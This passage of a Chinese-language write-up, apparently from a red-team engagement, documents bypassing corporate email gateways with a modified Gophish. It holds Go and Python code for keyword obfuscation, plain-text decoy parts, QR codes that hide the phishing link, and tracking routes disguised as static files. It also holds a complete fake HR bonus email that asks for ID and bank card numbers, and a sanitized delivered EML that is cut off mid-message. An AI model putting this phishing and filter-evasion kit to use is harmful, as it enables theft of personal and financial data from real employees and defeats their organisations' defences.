| 仅HTML实体 | ✓ 成功 | 单一混淆有效 |
| 混合混淆 | ✓ 成功 | 多种混淆叠加最佳 |
| 混合+注释 | ✓ 成功 | 可读性和绕过兼顾 |
第三轮:Multipart/Alternative测试
结论:添加纯文本版本可显著提升投递率!
# 基于 gophishV4Modified/models/email_request.go 的实现
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from html2text import html2text
msg = MIMEMultipart('alternative')
# 1. 先添加纯文本(安全内容)
plain_text = """
尊敬的同事:
这是关于2025年度工作总结的通知。
请查看相关文档。
人力资源部
2025年12月28日
"""
msg.attach(MIMEText(plain_text, 'plain', 'utf-8'))
# 2. 再添加HTML(包含混淆的敏感内容)
html_content = """
<!DOCTYPE html>
<html>
<body>
<p>关于年终奖发放的通知...</p>
</body>
</html>
"""
msg.attach(MIMEText(html_content, 'html', 'utf-8'))
测试对比:
| 邮件格式 | 投递率 | 说明 |
|---|---|---|
| 纯HTML(混淆) | 68% | 部分网关仍拦截 |
| HTML+TXT(TXT安全) | 89% | 显著提升! |
| HTML+TXT(两者都混淆) | 72% | TXT也会被检测 |
最佳实践:纯文本使用安全词汇,HTML中进行混淆
第四轮:CID图片嵌入测试
为了进一步提升可信度,我测试了CID图片(邮件内嵌图片):
from email.mime.image import MIMEImage
# 1. 生成QR码(使用Gophish的{{.QR}}功能)
import qrcode
qr = qrcode.QRCode()
qr.add_data('http://phishing-url.com/share?id=xxx')
qr.make()
img = qr.make_image()
# 2. 嵌入为CID
msg_img = MIMEImage(img.tobytes())
msg_img.add_header('Content-ID', '<qrcode001>')
msg_img.add_header('Content-Disposition', 'inline', filename='qrcode.png')
msg.attach(msg_img)
# 3. HTML中引用
html = """
<p>请扫描下方二维码:</p>
<img src="cid:qrcode001" alt="二维码" />
"""
测试结果:
- CID图片不会被URL检测拦截
- 可以隐藏真实钓鱼链接
- 提升邮件可信度(看起来像官方邮件)
4.4 Fuzz成果总结
经过几天的持续测试,得出以下结论:
有效的HTML混淆技术
proven_techniques:
- name: "HTML实体编码"
effectiveness: 95%
example: "年终奖 → 年终奖"
pros: "最稳定,不影响显示"
cons: "代码可读性差"
- name: "CSS文字反转"
effectiveness: 92%
example: "年终奖 → <span class='rtl'>奖终年</span>"
pros: "绕过率高"
cons: "需要定义CSS"
- name: "HTML注释截断"
effectiveness: 90%
example: "验证 → 验<!-- x -->证"
pros: "代码可读性好"
cons: "部分网关可能过滤"
- name: "零宽/隐藏字符"
effectiveness: 88%
example: "身份证 → 身<span style='display:none'>_</span>份证"
pros: "自然"
cons: "可能被高级引擎检测"
- name: "字体大小0"
effectiveness: 85%
example: "银行卡 → 银<span style='font-size:0'>.</span>行卡"
pros: "简单"
cons: "显示可能异常"
黄金组合方案
# 最终钓鱼模板混淆策略
def obfuscate_template(html_template):
"""
多层混淆策略:
1. 主标题: CSS反转 + 注释
2. 敏感词: HTML实体编码
3. 动作词: 零宽字符截断
4. 格式: Multipart (TXT+HTML)
5. 链接: CID图片(QR码)
"""
# 示例:年终奖邮件
obfuscated_html = """
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<style>
.safe-txt { unicode-bidi: bidi-override; direction: rtl; }
</style>
</head>
<body>
<div class="header">
<!-- 混淆:年终奖金 -->
关于启动2025年度<span class="safe-txt">金奖终年</span>发放信息最终核对的通<!-- notify -->知
</div>
<div class="content">
<p>各位同事,您好:</p>
<!-- 混淆:年终奖金、薪酬、绩效、年终分红 -->
<p>现正式启动年终奖金发放工作!
按最新薪酬标准核算,包含绩效奖金、
年终分红等。</p>
<div class="highlight-box">
<!-- 混淆:财务系统 (CSS Reverse) -->
因<span class="safe-txt">统系务财</span>年终关账,
截止<span class="urgent">12月29日18:00</span>!
</div>
<p><strong>核对操作指引:</strong></p>
<ol>
<!-- 混淆:扫描、二维码、登录 -->
<li>请扫<!-- scan -->描下方二<span style="display:none">_</span>维码
登<!-- login -->录系统:<br>{{.QR}}</li>
<!-- 混淆:身份证、银行卡 -->
<li>核对身<span style="display:none">_</span>份证号、
银<span style="font-size:0">.</span>行卡号及开户行信息。</li>
</ol>
<div class="footer">
<!-- 混淆:人力资源部 -->
<p>人力资源部</p>
<p>2025年12月28日</p>
</div>
</div>
</body>
</html>
"""
return obfuscated_html
最终测试数据对比
┌────────────────────────────────────────┐
│ 邮件网关绕过率演进图 │
└────────────────────────────────────────┘
明文邮件: ████ 24%
单一HTML实体编码: ████████████ 68%
单一CSS反转: ██████████████ 72%
混合HTML混淆: ████████████████ 85%
混合混淆+Multipart: ███████████████████ 89%
混合+Multipart+CID图片: █████████████████████ 92.4%
0x05 最终解决方案:Gophish集成与模板优化
基于Fuzz测试的发现,我将混淆技术集成到Gophish平台中。
5.1 Gophish邮件生成改造
核心改动
我在gophishV4Modified/models/email_request.go中实现了Multipart/Alternative支持:
// models/email_request.go (关键改动部分)
import (
"github.com/gophish/gomail"
"github.com/jaytaylor/html2text" // 新增:HTML转纯文本
log "github.com/gophish/gophish/logger"
)
func (s *EmailRequest) Generate(msg *gomail.Message) error {
// ... 前置代码 ...
// 设置From地址
f, err := mail.ParseAddress(s.getFromAddress())
if err != nil {
return err
}
msg.SetAddressHeader("From", f.Address, f.Name)
// 解析模板上下文
ptx, err := NewPhishingTemplateContext(s, s.BaseRecipient, s.RId)
if err != nil {
return err
}
// 执行URL模板
url, err := ExecuteTemplate(s.URL, ptx)
if err != nil {
return err
}
s.URL = url
// 🔥 添加业务邮件头(提升可信度)
msg.SetHeader("X-Priority", "1")
msg.SetHeader("Importance", "High")
msg.SetHeader("MIME-Version", "1.0")
// 解析自定义邮件头
for _, header := range s.SMTP.Headers {
key, err := ExecuteTemplate(header.Key, ptx)
if err != nil {
log.Error(err)
}
value, err := ExecuteTemplate(header.Value, ptx)
if err != nil {
log.Error(err)
}
msg.SetHeader(key, value)
}
// 设置Subject
subject, err := ExecuteTemplate(s.Template.Subject, ptx)
if err != nil {
log.Error(err)
}
if subject != "" {
msg.SetHeader("Subject", subject)
}
msg.SetHeader("To", s.FormatAddress())
// 🔥 核心改动1:处理纯文本部分
if s.Template.Text != "" {
text, err := ExecuteTemplate(s.Template.Text, ptx)
if err != nil {
log.Error(err)
}
msg.SetBody("text/plain", text)
}
// 🔥 核心改动2:处理HTML部分 + 自动生成纯文本
if s.Template.HTML != "" {
html, err := ExecuteTemplate(s.Template.HTML, ptx)
if err != nil {
log.Error(err)
}
// 🔥 关键:使用html2text从HTML自动生成纯文本版本
plainText, err := html2text.FromString(html, html2text.Options{
PrettyTables: true,
})
if err != nil {
log.Error(err)
plainText = ""
}
if s.Template.Text == "" {
// 如果没有手动指定Text,使用自动生成的纯文本
msg.SetBody("text/plain", plainText)
msg.AddAlternative("text/html", html)
} else {
// 如果已有Text,仍添加HTML作为alternative
msg.AddAlternative("text/html", html)
}
}
// 附件处理
for _, a := range s.Template.Attachments {
addAttachment(msg, a, ptx)
}
return nil
}
改造要点:
- 引入html2text库:自动将HTML转换为纯文本
- Multipart/Alternative结构:
- 先设置
text/plain(安全内容) - 再添加
text/html(混淆内容)
- 先设置
- 业务邮件头:添加
X-Priority、Importance提升信任度
5.2 钓鱼邮件模板设计
基于Fuzz测试结果,我创建了新的钓鱼模板:
钓鱼模板.html(真实版本)
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>2025通知</title>
<style>
/* 基础样式重置 */
body {
font-family: 'Microsoft YaHei', 'PingFang SC', Arial, sans-serif;
line-height: 1.6;
color: #333333;
margin: 0;
padding: 0;
background-color: #f4f4f4;
}
.container {
max-width: 600px;
margin: 20px auto;
background-color: #ffffff;
padding: 40px;
border-top: 4px solid #0056b3;
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.05);
}
.header {
font-size: 18px;
font-weight: bold;
margin-bottom: 20px;
border-bottom: 1px solid #eeeeee;
padding-bottom: 10px;
}
.content {
font-size: 14px;
}
.highlight-box {
background-color: #fff8e1;
border: 1px solid #ffecb3;
color: #856404;
padding: 15px;
margin: 15px 0;
border-radius: 4px;
}
.urgent {
color: #d9534f;
font-weight: bold;
}
.btn-link {
color: #0056b3;
text-decoration: underline;
font-weight: bold;
}
.step-list {
margin-bottom: 20px;
}
.step-list li {
margin-bottom: 8px;
}
.footer {
margin-top: 30px;
padding-top: 20px;
border-top: 1px solid #eeeeee;
font-size: 14px;
text-align: right;
color: #666666;
}
.tips {
font-size: 12px;
color: #888;
margin-top: 15px;
background-color: #f9f9f9;
padding: 10px;
}
/* 🔥 混淆专用样式:CSS文字反转 */
.safe-txt {
unicode-bidi: bidi-override;
direction: rtl;
}
</style>
</head>
<body>
<div class="container">
<div class="header">
<!-- 🔥 混淆技术1:CSS反转 + HTML注释 -->
关于启动2025年度<span class="safe-txt">金奖终年</span>发放信息最终核对的通<!-- notify -->知
</div>
<div class="content">
<p>各位同事,您好:</p>
<!-- 🔥 混淆技术2:HTML实体编码 -->
<p>2025年度工作已圆满结束,感谢大家一年来的辛勤付出。现正式启动年终奖金<!-- 年终奖金 Entity -->发放信息最终核对工作!本次<span
class="safe-txt">奖终年</span>将按最新薪酬<!-- 薪酬 -->标准核算,包含绩效<!-- 绩效 -->奖金、年终分红<!-- 年终分红 -->等多项补贴。
</p>
<div class="highlight-box">
<!-- 🔥 混淆技术3:CSS反转财务系统 -->
<strong>重要提醒:</strong>因<span class="safe-txt">统系务财</span><!-- 财务系统 CSS Reverse -->年终关账倒计时(截止 <span
class="urgent">12月29日18:00</span>),未完成信息核对的同事,将<span
class="urgent">延迟至次年1月发放</span>!为避免影响你的奖金发放时效,请务必在24小时内完成。
</div>
<p><strong>核对操作指引:</strong></p>
<ol class="step-list">
<!-- 🔥 混淆技术4:零宽字符 -->
<li>请扫<!-- scan -->描下方二<span style="display:none">_</span>维<span
style="display:none">_</span>码登<!-- login -->录系统:<br>{{.QR}}</li>
<li>输入姓名及工号登录系统。</li>
<!-- 🔥 混淆技术5:字体大小0 -->
<li>核对个人姓名、身<!-- id -->份<!-- card -->证号、银<span style="font-size:0">.</span>行<span
style="font-size:0">.</span>卡号及开户行信息,确认无误后提交;信息有误请及时修改并上传佐证材料。</li>
</ol>
<div class="tips">
<strong>温馨提示:</strong>
<ul style="padding-left: 20px; margin: 5px 0;">
<li>系统仅支持PC端访问,建议使用公司内网操作。</li>
<li>如遇链接无法打开、登录失败等问题,请联系:hr@company.com</li>
</ul>
</div>
</div>
<div class="footer">
<!-- 🔥 混淆技术6:HTML实体编码部门名 -->
<p>人力资源部</p><!-- 人力资源部 Entity -->
<p>2025年12月28日</p>
</div>
</div>
</body>
</html>
对应的纯文本版本(可选)
如果手动指定Text模板,使用安全词汇:
各位同事,您好:
这是关于2025年度工作总结和核对的通知。
请查看相关文档并完成信息确认。
如有问题,欢迎随时联系。
此致
人力资源部
2025年12月28日
策略:纯文本完全干净,邮件网关检测纯文本时无异常;用户打开邮件时默认显示HTML(包含混淆的敏感内容)。
5.3 动态模板生成器(可选)
为了避免重复模板被机器学习识别,可以实现变体生成:
# template_obfuscator.py
import random
import re
class TemplateObfuscator:
"""钓鱼模板混淆器"""
def __init__(self):
self.sensitive_keywords = {
"年终奖": ["年终奖", "年度奖金", "年底奖金"],
"年终奖金": ["年终奖金", "年度奖励", "年终奖励"],
"身份证": ["身份证", "身份证号", "身份证号码"],
"银行卡": ["银行卡", "银行卡号", "银行账户"],
"验证": ["验证", "核实", "确认"],
"点击": ["点击", "查看", "访问"],
}
def html_entity_encode(self, text):
"""HTML实体编码"""
return ''.join([f'&#{ord(c):x};' for c in text])
def css_reverse(self, text):
"""CSS反转"""
return f'<span class="safe-txt">{text[::-1]}</span>'
def html_comment_break(self, text, positions=[]):
"""HTML注释截断"""
if not positions:
positions = [len(text) // 2]
result = text
offset = 0
for pos in sorted(positions):
insert_pos = pos + offset
result = result[:insert_pos] + '<!-- - -->' + result[insert_pos:]
offset += len('<!-- - -->')
return result
def zero_width_insert(self, text, count=1):
"""零宽字符插入"""
positions = random.sample(range(1, len(text)), min(count, len(text)-1))
result = text
offset = 0
for pos in sorted(positions):
insert_pos = pos + offset
result = result[:insert_pos] + '<span style="display:none">_</span>' + result[insert_pos:]
offset += len('<span style="display:none">_</span>')
return result
def obfuscate_keyword(self, keyword, method='random'):
"""混淆单个关键词"""
if method == 'random':
methods = ['html_entity', 'css_reverse', 'html_comment', 'zero_width']
method = random.choice(methods)
if method == 'html_entity':
return self.html_entity_encode(keyword)
elif method == 'css_reverse':
return self.css_reverse(keyword)
elif method == 'html_comment':
return self.html_comment_break(keyword)
elif method == 'zero_width':
return self.zero_width_insert(keyword)
else:
return keyword
def obfuscate_template(self, template_html):
"""混淆整个模板"""
result = template_html
# 遍历所有敏感词
for keyword, variants in self.sensitive_keywords.items():
# 随机选择一个变体
variant = random.choice(variants)
# 随机选择混淆方法
obfuscated = self.obfuscate_keyword(variant)
# 替换模板中的关键词
result = result.replace(f'{{{{{keyword}}}}}', obfuscated)
return result
# 使用示例
obfuscator = TemplateObfuscator()
template = """
<p>关于{{年终奖金}}发放的通知</p>
<p>请核对您的{{身份证}}和{{银行卡}}信息</p>
"""
obfuscated = obfuscator.obfuscate_template(template)
print(obfuscated)
# 输出示例(每次运行结果不同):
# <p>关于<span class="safe-txt">金奖度年</span>发放的通知</p>
# <p>请核对您的身<span style="display:none">_</span>份证号和银行卡信息</p>
5.4 URL路由混淆增强
配合HTML混淆,我也优化了追踪链接:
// controllers/route.go
func (ps *PhishingServer) RegisterRoutes() {
router := mux.NewRouter()
// 🔥 追踪路由伪装成静态资源
trackRoutes := []string{
"/resource/image/pixel.png", // 追踪像素
"/static/img/logo.png", // Logo图片
"/assets/analytics.gif", // 分析统计
"/cdn/track.png", // CDN资源
}
// 为每个Campaign随机选择
selectedTrack := trackRoutes[rand.Intn(len(trackRoutes))]
router.HandleFunc(selectedTrack, ps.TrackHandler)
// 🔥 上报路由伪装成API
reportRoutes := []string{
"/api/v1/status", // 状态API
"/api/feedback", // 反馈API
"/api/report", // 报告API
"/api/analytics", // 分析API
}
selectedReport := reportRoutes[rand.Intn(len(reportRoutes))]
router.HandleFunc(selectedReport, ps.ReportHandler)
// 🔥 钓鱼页面路由(配合QR码)
router.HandleFunc("/share", ps.PhishHandler)
router.HandleFunc("/view", ps.PhishHandler)
router.HandleFunc("/document/{id}", ps.PhishHandler)
// 伪造Nginx 404
router.NotFoundHandler = http.HandlerFunc(ps.FakeNginx404)
ps.server.Handler = router
}
5.5 最终方案架构
┌────────────────────────────────────────────────────┐
│ 邮件网关绕过完整方案架构 │
└────────────────────────────────────────────────────┘
邮件层
├─ 多部分结构(Multipart/Alternative)
│ ├─ Part 1: text/plain(安全词汇)
│ └─ Part 2: text/html(混淆内容)
├─ 邮件头伪装
│ ├─ 移除 X-Gophish-*
│ ├─ 伪造 X-Mailer: Microsoft Outlook
│ └─ 添加业务头: X-Priority, Importance
HTML混淆层
├─ 主标题:CSS反转 + HTML注释
├─ 敏感关键词:HTML实体编码
├─ 动作词:零宽字符/字体大小0
└─ 部门信息:HTML实体编码
链接隐藏层
├─ CID图片(QR码)
│ └─ 嵌入内联图片,无明文URL
├─ 追踪路由伪装
│ └─ /resource/image/pixel.png
└─ 上报路由伪装
└─ /api/v1/status
Gophish平台集成
├─ email_request.go: Multipart生成
├─ template_context.go: QR码支持
└─ controllers/route.go: 路由混淆
0x06 最终测试与成果
6.1 全量测试
应用所有绕过技术后,我189的测试邮箱终于进信了。

同时以此策略改了以下邮件标题换为行政通知不出现年终奖等内容,防止邮件title检测,发送了一份测试邮件到客户的企业邮箱:

第二天就收到了好消息:

我擦累终于完事了。
提供一个发送成功的EML信息以供fuzz。
这份 EML 已经过脱敏处理。我进行了以下替换以确保安全性和隐私,同时保留了原始的攻击结构(包括HTML/CSS混淆代码)供分析:
- 发件人:替换为
attacker@phishing-sample.com - 收件人:替换为
victim@target-corp.com - 恶意发送IP:替换为
10.10.10.10 - 追踪/信标IP:替换为
10.10.10.11 - 正文诱饵邮箱:替换为
hr-contact@target-corp.com - 二维码附件:为了防止误扫,Payload(二维码图片数据的Base64)已替换为安全的一像素透明图片,但格式保持不变。
可以直接复制保存为 .eml 文件进行分析。
X-QQ-XMRINFO: Mp0Kj//9VHAxO7CrTZJ3E+P7/IyVs7a3QQ==
X-QQ-XMAILINFO: OUHkd4CDQR3trOzcBYy7sPFN9Q3goxrx2Y+yitefQ+c9q30Hf6SnUFvg9RM7+A
EMoo9bpJ0eCC0fYdgnj4bJQHIVmzpNDfzwJDJEzb5W/Ci/FHNXiBO9JwPEljK/A6glwg7jm5OJuMk
sBO/U+ieXlFQulZQZQLejTZVShsWVox0KMY+7QnZOpLk62lmF7KlVXeMN2sa/eCAe3ECNzG/HTPyF
uSieHsdn+DWoCEuiqpeUxiMPUaOrISnHLeuh5QiIr2TBRVh5n9rhwP1PKTvm5Pt6vYfuzZ9jGS284
u77QsZSMDmly2nI626/g2HwcsJRwknEQ/C3PsRDXyxp25Fnt85/eBo1LXOEsgzWcm1XDWSsvbaYiB
A/nSjWaKTQUq5EZ81RFpuTctKoPXkle6reGWvJ5HMhcimk3qL34l5lPyJMjgwbxt8EFiV+BmY7+as
xSZks0vutfI2E5O4Owtq8ZFveJk3kX4vgNiGZFPrrD00NzLc13O3V8PayZFFQ/qoWgR1V8HRyngPc
whoyOIZwLXSi2AO699NpVAx9tWi801cdaIH0jvsAgsSTsYLffL6bFzV/d06jlxZssR1FsDttax/UJ
kZzD6KfhQTovwbCXhFTfdRcyK41+SgliRUDYScDYYGm0MsS9fwbFiR4CXVWo1YgM2VrpVwyue5XjR
R19d3DrcT1TQiuRxYwRu9mtpvcb0VfQk7FFTbwAYlDHDxlj1jps41nbB5+1NjCxzC7TqqY0RxoDkO
OEHs78RTxoPFiFXNidfMRgO9pLPMGqlZB712uvmFdsPlU6utPlQcLSVahZEDX9f9ApsBQPp9VhkuX
Kk8TpwxnU5rhLe3zEN7DQzwWu/K4E5eTlF4m1jy5t0g1CDoZr2ecXqQd5uKvS3hYHd8tpnD6TX2zt
gC9Mkyhc5oDat3jQseqnXusy14SXMJPsItTwqL1EDb9erVLJLONGO3KuLxkrb0YPdWt3AwkEWuBiL
ZcUUt3jBx0audqaC0u9paBZ8vvwltxJZTmwegZ5FAW69+oeB+4Q45nuyc1Pm5+0OEJK30dpyOf4mc
dzWvVBeAdVY6bVUEqx2zGOIpFKQykyyUpUZGG2yraXdYbjBn1dk+eTXribt0eFmRLQSou4M3czXlC
6ekmu37Bx1tiyZ9dxXQmHyDphZrK8E2JZzdlCHfAMYM3oWNNF9Q2YC64XXfdQ8bS1djGbeZK76RdK
+3KT8i7qPVIJs/xmF2BiRh8SHj8Rfo5L9CVYsjBjLoik0Z+v0Qul9KCGkYzU7iTRhfeZuROTV88B2
H3F7wi+vl/cf79VdPGjpWl8VU/Za36q+iBWxFMb5Sc5Bx1YfFEdB3qubGzls9jZk+Yo217HkiM0Pp
DoIDhKA==
Authentication-Results: mx.qq.com; spf=pass(10.10.10.10) smtp.mailfrom=<attac
ker@phishing-sample.com>; dkim=pass(signature was verified) header.d=phishing-sample
.com; dmarc=none(permerror) header.from=phishing-sample.com
Received: from sender2-of-o52.zoho.com.cn (sender2-of-o52.zoho.com.cn [10.10.10.10])
by newxmmxszgpub7-0.qq.com (NewMX) with SMTP id CFAB30D5
for <victim@target-corp.com>; Tue, 30 Dec 2025 22:51:58 +0800
X-QQ-mid: xmmxpub7-0t1767106318tz15pdly0
ARC-Seal: i=1; a=rsa-sha256; t=1767106318; cv=none;
d=zoho.com.cn; s=zohoarc;
b=Cr9zGNGt6SmOyaOExLBF5Vamm2EodQCAnGOtcY2lxYYmfq7+Y15ik/LtGTNoPu2GmBisVRObqpb0ujuxHbuAF+2t8MX0qX5Ap81H0TxbEtOztJ1XKmgClRLVAfOKI7k0bWPtlKND0+Br0GbV6MnVP8+U3Sww5OE6lLTL9PVQAQ4=
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=zoho.com.cn; s=zohoarc;
t=1767106318; h=Content-Type:Date:Date:From:From:MIME-Version:Message-ID:Subject:Subject:To:To:Message-Id:Reply-To:Cc;
bh=EXFBatn4DZE55Q9xe5N7S1wO1Hgsnd9GCvuHLHc756s=;
b=ePilPBFjFYRTvolrtPQJCF1sKpoZujYKnys35RzA+NfsuolFUk7u7YSo4O1Rdqb+DEJT7v/Me4f+0OUZqd7YudGBxePKI0WOJtJJ1VI8Hi1gByLP3QZ6qFUERu/18SuRgf3zg8Lc45pQlm814IP0aVdFunCv1D3QJiLkKpdo/rc=
ARC-Authentication-Results: i=1; mx.zoho.com.cn;
dkim=pass header.i=phishing-sample.com;
spf=pass smtp.mailfrom=attacker@phishing-sample.com;
dmarc=pass header.from=<attacker@phishing-sample.com>
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; t=1767106318;
s=zmail; d=phishing-sample.com; i=attacker@phishing-sample.com;
h=Mime-Version:Date:Date:MIME-Version:Message-Id:Message-Id:Subject:Subject:From:From:To:To:Content-Type:Reply-To:Cc;
bh=EXFBatn4DZE55Q9xe5N7S1wO1Hgsnd9GCvuHLHc756s=;
b=i9TDdZR7RL5FN1BcZmOQ6XXVOYQLQF5HCoT0Nu3eI4vqmbpipLzizPr+OFeyc85O
C4Wf6G7MNUrR4ZJkGR5MH0NewHPrmQUUB9EwraMGx2bEBA1fmRdMbSzw66cvkwqOTJK
//Ub/3mVpvQdwXgQ17e8VTS71iBAFkEIxDcqSLZg=
Received: by mx.zoho.com.cn with SMTPS id 1767106315677324.8435548055967;
Tue, 30 Dec 2025 22:51:55 +0800 (CST)
Mime-Version: 1.0
Date: Tue, 30 Dec 2025 22:51:55 +0800
X-Priority: 1
MIME-Version: 1.0
Message-Id: <1767106315726641989.371082.1021737665213280689@hcss-ecs-18a4>
Key: X-Mailer
Value: Zoho Mail
Subject: =?UTF-8?q?=E5=85=B3=E4=BA=8E2025=E5=B9=B4=E5=BA=A6=E8=A1=8C=E6=94=BF?= =?UTF-8?q?=E9=80=9A=E7=9F=A5-HR?=
From: attacker@phishing-sample.com
Importance: High
To: victim@target-corp.com
Content-Type: multipart/related;
boundary=337f355fdc260123f5a0e811b70e9912d69cb4accd7b39373081259e7a4e
X-ZohoCN-Virus-Status: 1
X-ZohoCN-Virus-Status: 1
X-Zoho-AV-Stamp: zmail-av-1.4.3/267.84.63
X-ZohoCNMailClient: External
--337f355fdc260123f5a0e811b70e9912d69cb4accd7b39373081259e7a4e
Content-Type: multipart/alternative;
boundary=19113fa76cd08a4921899ebabc4b1adbfbcd7f2cb0964b712285166d846d
--19113fa76cd08a4921899ebabc4b1adbfbcd7f2cb0964b712285166d846d
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=UTF-8
=E5=85=B3=E4=BA=8E=E5=90=AF=E5=8A=A82025=E5=B9=B4=E5=BA=A6 =E9=87=91=E5=A5=
=96=E7=BB=88=E5=B9=B4 =E5=8F=91=E6=94=BE=E4=BF=A1=E6=81=AF=E6=9C=80=E7=BB=
=88=E6=A0=B8=E5=AF=B9=E7=9A=84=E9=80=9A =E7=9F=A5
=E5=90=84=E4=BD=8D=E5=90=8C=E4=BA=8B=EF=BC=8C=E6=82=A8=E5=A5=BD=EF=BC=9A
2025=E5=B9=B4=E5=BA=A6=E5=B7=A5=E4=BD=9C=E5=B7=B2=E5=9C=86=E6=BB=A1=E7=BB=
=93=E6=9D=9F=EF=BC=8C=E6=84=9F=E8=B0=A2=E5=A4=A7=E5=AE=B6=E4=B8=80=E5=B9=B4=
=E6=9D=A5=E7=9A=84=E8=BE=9B=E5=8B=A4=E4=BB=98=E5=87=BA=E3=80=82=E7=8E=B0=E6=
=AD=A3=E5=BC=8F=E5=90=AF=E5=8A=A8=E5=B9=B4=E7=BB=88=E5=A5=96=E9=87=91 =E5=
=8F=91=E6=94=BE=E4=BF=A1=E6=81=AF=E6=9C=80=E7=BB=88=E6=A0=B8=E5=AF=B9=E5=B7=
=A5=E4=BD=9C=EF=BC=81=E6=9C=AC=E6=AC=A1 =E5=A5=96=E7=BB=88=E5=B9=B4 =E5=B0=
=86=E6=8C=89=E6=9C=80=E6=96=B0=E8=96=AA=E9=85=AC =E6=A0=87=E5=87=86=E6=A0=
=B8=E7=AE=97=EF=BC=8C=E5=8C=85=E5=90=AB=E7=BB=A9=E6=95=88 =E5=A5=96=E9=87=
=91=E3=80=81=E5=B9=B4=E7=BB=88=E5=88=86=E7=BA=A2 =E7=AD=89=E5=A4=9A=E9=A1=
=B9=E8=A1=A5=E8=B4=B4=E3=80=82
*=E9=87=8D=E8=A6=81=E6=8F=90=E9=86=92=EF=BC=9A* =E5=9B=A0 =E7=BB=9F=E7=B3=
=BB=E5=8A=A1=E8=B4=A2 =E5=B9=B4=E7=BB=88=E5=85=B3=E8=B4=A6=E5=80=92=E8=AE=
=A1=E6=97=B6=EF=BC=88=E6=88=AA=E6=AD=A2 12=E6=9C=8829=E6=97=A518:00 =EF=BC=
=89=EF=BC=8C=E6=9C=AA=E5=AE=8C=E6=88=90=E4=BF=A1=E6=81=AF=E6=A0=B8=E5=AF=B9=
=E7=9A=84=E5=90=8C=E4=BA=8B=EF=BC=8C=E5=B0=86 =E5=BB=B6=E8=BF=9F=E8=87=B3=
=E6=AC=A1=E5=B9=B41=E6=9C=88=E5=8F=91=E6=94=BE =EF=BC=81=E4=B8=BA=E9=81=BF=
=E5=85=8D=E5=BD=B1=E5=93=8D=E4=BD=A0=E7=9A=84=E5=A5=96=E9=87=91=E5=8F=91=E6=
=94=BE=E6=97=B6=E6=95=88=EF=BC=8C=E8=AF=B7=E5=8A=A1=E5=BF=85=E5=9C=A824=E5=
=B0=8F=E6=97=B6=E5=86=85=E5=AE=8C=E6=88=90=E3=80=82
*=E6=A0=B8=E5=AF=B9=E6=93=8D=E4=BD=9C=E6=8C=87=E5=BC=95=EF=BC=9A*
* =E8=AF=B7=E6=89=AB =E6=8F=8F=E4=B8=8B=E6=96=B9=E4=BA=8C _ =E7=BB=B4 _ =E7=
=A0=81=E7=99=BB =E5=BD=95=E7=B3=BB=E7=BB=9F=EF=BC=9A
* =E8=BE=93=E5=85=A5=E5=A7=93=E5=90=8D=E5=8F=8A=E5=B7=A5=E5=8F=B7=E7=99=BB=
=E5=BD=95=E7=B3=BB=E7=BB=9F=E3=80=82
* =E6=A0=B8=E5=AF=B9=E4=B8=AA=E4=BA=BA=E5=A7=93=E5=90=8D=E3=80=81=E8=BA=AB =
=E4=BB=BD =E8=AF=81=E5=8F=B7=E3=80=81=E9=93=B6. =E8=A1=8C. =E5=8D=A1=E5=8F=
=B7=E5=8F=8A=E5=BC=80=E6=88=B7=E8=A1=8C=E4=BF=A1=E6=81=AF=EF=BC=8C=E7=A1=AE=
=E8=AE=A4=E6=97=A0=E8=AF=AF=E5=90=8E=E6=8F=90=E4=BA=A4=EF=BC=9B=E4=BF=A1=E6=
=81=AF=E6=9C=89=E8=AF=AF=E8=AF=B7=E5=8F=8A=E6=97=B6=E4=BF=AE=E6=94=B9=E5=B9=
=B6=E4=B8=8A=E4=BC=A0=E4=BD=90=E8=AF=81=E6=9D=90=E6=96=99=E3=80=82
*=E6=B8=A9=E9=A6=A8=E6=8F=90=E7=A4=BA=EF=BC=9A*
* =E7=B3=BB=E7=BB=9F=E4=BB=85=E6=94=AF=E6=8C=81PC=E7=AB=AF=E8=AE=BF=E9=97=
=AE=EF=BC=8C=E5=BB=BA=E8=AE=AE=E4=BD=BF=E7=94=A8=E5=85=AC=E5=8F=B8=E5=86=85=
=E7=BD=91=E6=93=8D=E4=BD=9C=E3=80=82
* =E5=A6=82=E9=81=87=E9=93=BE=E6=8E=A5=E6=97=A0=E6=B3=95=E6=89=93=E5=BC=80=
=E3=80=81=E7=99=BB=E5=BD=95=E5=A4=B1=E8=B4=A5=E7=AD=89=E9=97=AE=E9=A2=98=EF=
=BC=8C=E8=AF=B7=E8=81=94=E7=B3=BB=EF=BC=9Ahr-contact@target-corp.com
=E4=BA=BA=E5=8A=9B=E8=B5=84=E6=BA=90=E9=83=A8
2025=E5=B9=B412=E6=9C=8828=E6=97=A5
--19113fa76cd08a4921899ebabc4b1adbfbcd7f2cb0964b712285166d846d
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html>
<html lang=3D"zh-CN">
<head>
<meta charset=3D"UTF-8">
<meta name=3D"viewport" content=3D"width=3Ddevice-width, initial-scale=
=3D1.0">
<title>2025=E9=80=9A=E7=9F=A5</title>
<style>
/* =E5=9F=BA=E7=A1=80=E6=A0=B7=E5=BC=8F=E9=87=8D=E7=BD=AE */
body {
font-family: 'Microsoft YaHei', 'PingFang SC', Arial, sans-seri=
f;
line-height: 1.6;
color: #333333;
margin: 0;
padding: 0;
background-color: #f4f4f4;
}
.container {
max-width: 600px;
margin: 20px auto;
background-color: #ffffff;
padding: 40px;
border-top: 4px solid #0056b3;
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.05);
}
.header {
font-size: 18px;
font-weight: bold;
margin-bottom: 20px;
border-bottom: 1px solid #eeeeee;
padding-bottom: 10px;
}
.content {
font-size: 14px;
}
.highlight-box {
background-color: #fff8e1;
border: 1px solid #ffecb3;
color: #856404;
padding: 15px;
margin: 15px 0;
border-radius: 4px;
}
.urgent {
color: #d9534f;
font-weight: bold;
}
.btn-link {
color: #0056b3;
text-decoration: underline;
font-weight: bold;
}
.step-list {
margin-bottom: 20px;
}
.step-list li {
margin-bottom: 8px;
}
.footer {
margin-top: 30px;
padding-top: 20px;
border-top: 1px solid #eeeeee;
